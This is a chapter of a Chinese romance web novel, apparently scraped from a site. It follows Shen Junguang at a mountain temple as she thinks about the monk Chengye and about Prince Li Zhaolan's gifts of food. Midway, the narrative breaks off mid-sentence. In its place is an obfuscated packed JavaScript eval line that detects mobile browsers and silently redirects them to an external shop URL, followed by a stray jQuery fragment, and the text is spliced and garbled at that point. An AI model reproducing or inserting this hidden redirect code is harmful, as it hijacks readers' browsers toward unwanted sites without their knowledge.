第二天的太阳仍然好端端地升起。
沈隽光一夜难眠,此刻头疼不已,脚上也传来阵阵胀痛,她艰难从床上坐起来,还不忘拄着拐开了药田的门。
丝毫没有意外,这两日的风雪彻底压倒了本就摇晃不定的篱笆,药苗被盖在地上,也不知还活着没有。沈隽光此刻只能先解决靠近屋檐下的这一片药田,好在被压倒的药苗仍旧顽强地活着,她这才松了口气。
她仰起头,清香的竹叶气息钻入鼻子,心情依旧很糟糕,这回能反复想起的,不只是澄夜拒绝她的那晚,还有李昭澜充满压迫的质问。
沈隽光也很苦恼,人与人之间的爱本就没有区别,她爱蜜枣,爱父母,也爱澄夜。为何同样是爱,却要将爱分类排序,一较高下。
今日是冬月的最后一日,沈隽光在自制的年历上郑重其事地画下一笔,距离冬至只有二十四天。虽然青禁台依旧不能沾荤腥,但澄夜总是会有办法让她吃上一口热乎乎的肘子。
沈隽光闲来无事,开始一点一点打扫着屋子,木架上都是她年幼时的玩具,全都是澄夜亲手做的。木头小鸟,木头小鸡,还有木头小狗,虽不是什么好的木料,但上过蜡油后依旧锃亮。
木架第二层还有一个平平无奇的大木盒,但这里面曾经装过不少非凡的小动物,蜜蜂、苍蝇还有蝴蝶,只要是带翅膀的昆虫,沈隽光都爱不释手。
木盒落了厚厚一层的灰,她已经很久没有打开过了。
已经过了五观堂用早斋的时辰,沈隽光望着大门发呆,忽然想起两人之间的氛围仍旧有些尴尬,大肘子有没有难说,但今日的早斋和汤药,或许澄夜不会亲自来。
她坐在桌旁,慵懒地趴了下去,一字一句回想李昭澜的话。
到底什么是喜欢。
年幼时家中只有吵闹的弟弟妹妹,沈隽光身子不好,能跟她说说话的也只有府上的丫鬟。本就没怎么出过门的沈隽光,第一次出远门就来到了玄山,这里勉强算得上是同龄人的也就属定觉小师傅,但他毕竟是男子,许多女孩子的话都不能聊。
久而久之,沈隽光便习惯了总是一个人。
一个人吃饭,一个人生活,她能自己梳妆,能自己洗衣。以后就算是只有一个人,她也能过得潇洒自在。
那时候澄夜在身边,替她遮挡了半数的风雨,让她知道了有人说话、关心的滋味,这些爹娘都能做到,所以澄夜应当和爹娘没什么不同。
沈隽光抓了抓脑袋,取下发间的那支蜂蜜发簪,仔细打量起来。
若是别人的及笄礼,澄夜会送什么。
正想着,院外忽然传来一阵敲门声,沈隽光应了一声,见到了魏越。他提着两个食盒,一一摆在沈隽光面前,她打眼一数,竟足足七样,荤素俱全。
“这么多?”沈隽光微微瞠目,“都是给我的?”
魏越点头,惜字如金:“王爷的意思。”
沈隽光见状提起一口气,微微后仰,对李昭澜的行为表示怀疑。不等她多问两句,魏越转身便告辞,留下一桌好菜和手足无措的沈隽光。
她望着满桌菜式,小声喃喃自语,眉眼间满是戏谑的怀疑:“贿赂我?也不像啊,好歹堂堂一个王爷,一桌饭菜就把我给打发了,说是节衣缩食,可王府不至于穷到这个地步吧。”
态度是怀疑的,动作却半分不迟疑。沈隽光用指尖夹起一片熏肉送进口中,入口的瞬间,香气在舌尖化开,她骤然睁大双眼,眸中满是吃到佳肴的欣喜。
往后的每一次入口,沈隽光都会感叹一声,招得原本在呼呼大睡的蜜枣闻声而动,当即上演一出虎口夺食。
常言道饭不可貌相,就拿这碗见底的羊肉糜粥来说,软烂细腻大米上只撒了些许小葱。碗中的羊肉碎不多,却在勺子进口的瞬间,彻底被羊肉的香气灌满,以至于她忽视了根本不爱吃的小葱。
饱腹之后,沈隽光抱着蜜枣倚在床上,回味着方才吃饭时的细节,竟直接笑出了声。
院门再次传来定觉的敲门声,三次之后,他推开了大门,被沈隽光爽朗的笑声钉在原地,迟疑片刻,才小心翼翼地喊了一声。
笑声戛然而止,沈隽光从床上坐起来,一瘸一拐从里间出来,看见了门口的定觉。
“小师傅,你怎么来了?”
定觉垂首合掌,说道:“王爷有令,让贫僧前来代取食盒。”
听是李昭澜的吩咐,沈隽光立马开始收拾桌上的残局,定觉上前,主动接过她手中的碗碟,细细规整收纳。
汤药下肚,暖了全身,她重新走近里间。
沈隽光躺在床上,又一次想起了澄夜。
澄夜从小就在青禁台长大,跟其余出家人不同,他并未彻底遁入空门。别人是僧人,他是禅师,还兼顾着医师的职责,在沈隽光的记忆里,每次下山行医长老都带着澄夜,根本不考虑其他弟子。
他对医术有着独特的见解,他很聪明,也很冷静。都说僧人见血是大忌,可澄夜从小便能冷静地剖开动物为其医治,还能冷眼旁观仵作剖尸。
她不止一次地想过,若澄夜没有长在青禁台,他一定会有一番大作为,入仕为官也能做到人人羡慕的位置。
澄夜平日里没什么爱好,除了正常的修习便是研究医术,两人第一次见面的后院,便是澄夜最早研究药材的地方。
那碗汤药,也只是澄夜给自己熬的安神汤。
后来沈隽光得知真相后独自生了许久的闷气,她发誓以后坚决不要搭理澄夜,却总是会在第二日将这个念头彻底抛在脑后,开开心心地拉着澄夜有说有笑。
得知澄夜姓谢这件事,也是沈隽光偷听来的,谁让这两人不在院子里聊天,非要跑去沈隽光常去的后山树林里。她本就对李昭澜的到来好奇,他又三番几次拉着澄夜说些她不能听的小话,这当然怪不了她。
但沈隽光后来在良心上有些过意不过,最终向澄夜坦白了偷听的事,临走时还小小的威胁了一把,不准澄夜将此事告知昭王。
沈隽光翻了个身,刺眼的阳光照进屋内,阳光明媚,她却只能在床上哀愁。
一个鲤鱼打挺,沈隽光瘸着腿,决定去药仓院偷师学艺。半路上撞见一个自称去枕云院的小僧,说是给澄
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17814839|211009||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
夜送消肿药膏的,沈隽光皱了皱眉,以为是那金贵的王爷又出了什么幺蛾子,便没在意。
小僧从枕云院出来后,又去后山砍了不少竹子送去,没过两个时辰,消息就传遍了整个青禁台,说昭王心情不好,要杀生。
李昭澜眉眼一弯,似有别样的韵味流转眉间,笑道:“本王都替你担下杀生的罪名了,你不得回报本王,应了本王的要求?”
澄夜忙活着手里的活儿,眼都没抬,说道:“王爷说笑了。”
依旧是半晌憋不出个屁来,李昭澜都习惯了他这副淡然的模样,可心底却压着一层担忧。他总忍不住去想,倘若有朝一日沈隽光真另择他人,以澄夜的性子,怕是真的彻底斩断尘缘,归隐深山,从此不再踏足尘世半步。
“你真不喜欢她?”李昭澜看着他又给自己的手割出一条口子,终于是忍不住问出了口。
都说当局者迷旁观者清,但李昭澜觉得,澄夜似乎不是局中人,而是一个站在沈隽光身侧的看客。他静静守着沈隽光,眼睁睁看着少女把一腔热忱,尽数交付于另一个无情的澄夜。
澄夜的手一顿,他迟疑的片刻里,李昭澜已经看穿了他,就算没等到答案,他也明白了澄夜的万般纠结。
但澄夜还是回答了。
“雨打湖面,涟漪的出现是必然。”
李昭澜似乎懂了,却又好似没懂,他看着澄夜俯身拿起另一根竹片,终究是没再说话。
推门声再度响起,魏越提着一叠厚厚的油纸包走上前,澄夜道了声谢,院中便再也无人开口。
一连三日的艳阳天,后山的雪化了不少,听魏越说,后山溪流水位上涨。李昭澜玩性大发,偷摸领着她摸虾捉鱼,回来后低烧不退,被澄夜好一顿数落。
沈隽光委屈至极,却不敢多说一二,好在李昭澜为了弥补,近日的伙食改善了不少。跟着受益的还有蜜枣这只小馋猫,李昭澜不知从哪儿弄来了不少美食,它已经好几日待在枕云院不肯出来。
但李昭澜对它很是冷淡,更是谈不上喜欢,就连面对蜜枣的撒泼打滚也无动于衷。而只要沈隽光去找它,它的食盆里总是装满了食物。
过晌的阳光打在蜜枣金黄的毛发上,沈隽光抱着它玩了一阵,这才发现李昭澜早已不在院中。
无念堂内,李昭澜躲了个清净,他实在是受不住沈隽光那张喋喋不休的嘴,一说就是一天,都不带重复的。
“头一次见到这么能说会道的姑娘,不愧是沈奉天的女儿,跟她爹简直一个模子里刻出来的。”李昭澜满嘴抱怨,连饮三杯清茶。
澄夜抽出最后一张油纸,仔仔细细嵌在篱笆之中,缠好最后一根竹片,篱笆就算彻底完工。
“王爷不也是吗?从前上山拉着贫僧下棋,可说是下棋,口中讲的却是山下之事。”
李昭澜笑着没说话。
趁着安和斋此刻没人,魏越帮着忙把篱笆藏在了安和斋的外墙处,折返无念堂时,李昭澜仍悠闲地品着茶。
澄夜走上前,对着闭目的李昭澜行了一礼。
“王爷,可否讨一些猪肉?”